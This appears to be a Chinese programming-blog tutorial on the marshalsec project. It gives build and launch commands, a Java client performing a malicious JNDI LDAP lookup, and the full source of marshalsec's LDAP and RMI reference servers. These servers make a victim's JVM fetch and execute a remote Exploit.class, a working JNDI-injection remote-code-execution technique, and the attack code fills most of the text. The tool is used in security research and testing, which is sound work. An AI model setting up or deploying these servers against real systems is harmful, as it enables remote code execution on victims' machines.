本文主要是介绍java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
开源项目的git代码地址:GitHub - mbechler/marshalsec
实现了ldap,rmi 的server端代码。
shi
编译
这里跳过编译时的test
mvn "-Dmaven.test.skip=true" -P clean package
编译后target目录
演示如何启动ldap服务
上传编译后的class文件到http服务器
把Exploit.class文件放在http服务器上,这里使用nginx服务器,访问地址为http://127.0.0.1/test/Exploit.class.
启动ldap
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1099
其中: http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1099 指ldap服务的端口
看到listening on 0.0.0.0:1099即启动成功
java 使用jndi 加载ladp上的class文件,并在本地执行
package test.anquan;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class Test {public static void main(String[] args) throws NamingException {// Hashtable<String,String> HashEnv = new Hashtable<String,String>();HashEnv.put(Context.SECURITY_AUTHENTICATION, "simple"); // LDAP访问安全级别(none,simple,strong)
// HashEnv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); // LDAP工厂类Context ctx = new InitialContext();ctx.lookup("ldap://127.0.0.1:1099/test/#Exploit");ctx.close();}
}
输出
具体报错原因,后面有时间在分析把
项目中关于ldap,rmi的server端实现代码
ldap
package marshalsec.jndi;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;/*** LDAP server implementation returning JNDI references* * @author mbechler**/
public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] args ) {int port = 1389;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$System.exit(-1);}else if ( args.length > 1 ) {port = Integer.parseInt(args[ 1 ]);}try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/*** */public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
rmi
package marshalsec.jndi;import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;import javax.naming.Reference;
import javax.net.ServerSocketFactory;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import marshalsec.util.Reflections;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;/*** Generic JRMP listener* * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.* * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.* * @author mbechler**/
@SuppressWarnings ( {"restriction"
} )
public class RMIRefServer implements Runnable {private int port;private ServerSocket ss;private Object waitLock = new Object();private boolean exit;private boolean hadConnection;private URL classpathUrl;public RMIRefServer ( int port, URL classpathUrl ) throws IOException {this.port = port;this.classpathUrl = classpathUrl;this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);}public boolean waitFor ( int i ) {try {if ( this.hadConnection ) {return true;}System.err.println("Waiting for connection");synchronized ( this.waitLock ) {this.waitLock.wait(i);}return this.hadConnection;}catch ( InterruptedException e ) {return false;}}/*** */public void close () {this.exit = true;try {this.ss.close();}catch ( IOException e ) {}synchronized ( this.waitLock ) {this.waitLock.notify();}}public static final void main ( final String[] args ) {int port = 1099;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");System.exit(-1);return;}if ( args.length >= 2 ) {port = Integer.parseInt(args[ 1 ]);}try {System.err.println("* Opening JRMP listener on " + port);RMIRefServer c = new RMIRefServer(port, new URL(args[ 0 ]));c.run();}catch ( Exception e ) {System.err.println("Listener error");e.printStackTrace(System.err);}}@Overridepublic void run () {try {@SuppressWarnings ( "resource" )Socket s = null;try {while ( !this.exit && ( s = this.ss.accept() ) != null ) {try {s.setSoTimeout(5000);InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();System.err.println("Have connection from " + remote);InputStream is = s.getInputStream();InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);// Read magic (or HTTP wrapper)bufIn.mark(4);try ( DataInputStream in = new DataInputStream(bufIn) ) {int magic = in.readInt();short version = in.readShort();if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {s.close();continue;}OutputStream sockOut = s.getOutputStream();BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);try ( DataOutputStream out = new DataOutputStream(bufOut) ) {byte protocol = in.readByte();switch ( protocol ) {case TransportConstants.StreamProtocol:out.writeByte(TransportConstants.ProtocolAck);if ( remote.getHostName() != null ) {out.writeUTF(remote.getHostName());}else {out.writeUTF(remote.getAddress().toString());}out.writeInt(remote.getPort());out.flush();in.readUTF();in.readInt();case TransportConstants.SingleOpProtocol:doMessage(s, in, out);break;default:case TransportConstants.MultiplexProtocol:System.err.println("Unsupported protocol");s.close();continue;}bufOut.flush();out.flush();}}}catch ( InterruptedException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}finally {System.err.println("Closing connection");s.close();}}}finally {if ( s != null ) {s.close();}if ( this.ss != null ) {this.ss.close();}}}catch ( SocketException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}}private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {System.err.println("Reading message...");int op = in.read();switch ( op ) {case TransportConstants.Call:// service incoming RMI calldoCall(in, out);break;case TransportConstants.Ping:// send ack for pingout.writeByte(TransportConstants.PingAck);break;case TransportConstants.DGCAck:UID.read(in);break;default:throw new IOException("unknown transport op " + op);}s.close();}private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {ObjectInputStream ois = new ObjectInputStream(in) {@Overrideprotected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) {return ObjID[].class;}else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) {return ObjID.class;}else if ( "java.rmi.server.UID".equals(desc.getName()) ) {return UID.class;}else if ( "java.lang.String".equals(desc.getName()) ) {return String.class;}throw new IOException("Not allowed to read object");}};ObjID read;try {read = ObjID.read(ois);}catch ( java.io.IOException e ) {throw new MarshalException("unable to read objID", e);}if ( read.hashCode() == 2 ) {// DGChandleDGC(ois);}else if ( read.hashCode() == 0 ) {if ( handleRMI(ois, out) ) {this.hadConnection = true;synchronized ( this.waitLock ) {this.waitLock.notifyAll();}return;}}}/*** @param ois* @param out* @throws IOException* @throws ClassNotFoundException* @throws NamingException*/private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {int method = ois.readInt(); // methodois.readLong(); // hashif ( method != 2 ) { // lookupreturn false;}String object = (String) ois.readObject();System.err.println("Is RMI.lookup call for " + object + " " + method);out.writeByte(TransportConstants.Return);// transport optry ( ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl) ) {oos.writeByte(TransportConstants.NormalReturn);new UID().write(oos);System.err.println(String.format("Sending remote classloading stub targeting %s",new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));Field refF = RemoteObject.class.getDeclaredField("ref");refF.setAccessible(true);refF.set(rw, new UnicastServerRef(12345));oos.writeObject(rw);oos.flush();out.flush();}return true;}/*** @param ois* @throws IOException* @throws ClassNotFoundException*/private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {ois.readInt(); // methodois.readLong(); // hashSystem.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));}@SuppressWarnings ( "deprecation" )protected static Object makeDummyObject ( String className ) {try {ClassLoader isolation = new ClassLoader() {};ClassPool cp = new ClassPool();cp.insertClassPath(new ClassClassPath(Dummy.class));CtClass clazz = cp.get(Dummy.class.getName());clazz.setName(className);return clazz.toClass(isolation).newInstance();}catch ( Exception e ) {e.printStackTrace();return new byte[0];}}public static class Dummy implements Serializable {private static final long serialVersionUID = 1L;}static final class MarshalOutputStream extends ObjectOutputStream {private URL sendUrl;public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {super(out);this.sendUrl = u;}MarshalOutputStream ( OutputStream out ) throws IOException {super(out);}@Overrideprotected void annotateClass ( Class<?> cl ) throws IOException {if ( this.sendUrl != null ) {writeObject(this.sendUrl.toString());}else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {writeObject(null);}else {URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();String cb = "";for ( URL u : us ) {cb += u.toString();}writeObject(cb);}}/*** Serializes a location from which to load the specified class.*/@Overrideprotected void annotateProxyClass ( Class<?> cl ) throws IOException {annotateClass(cl);}}
}
这篇关于java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!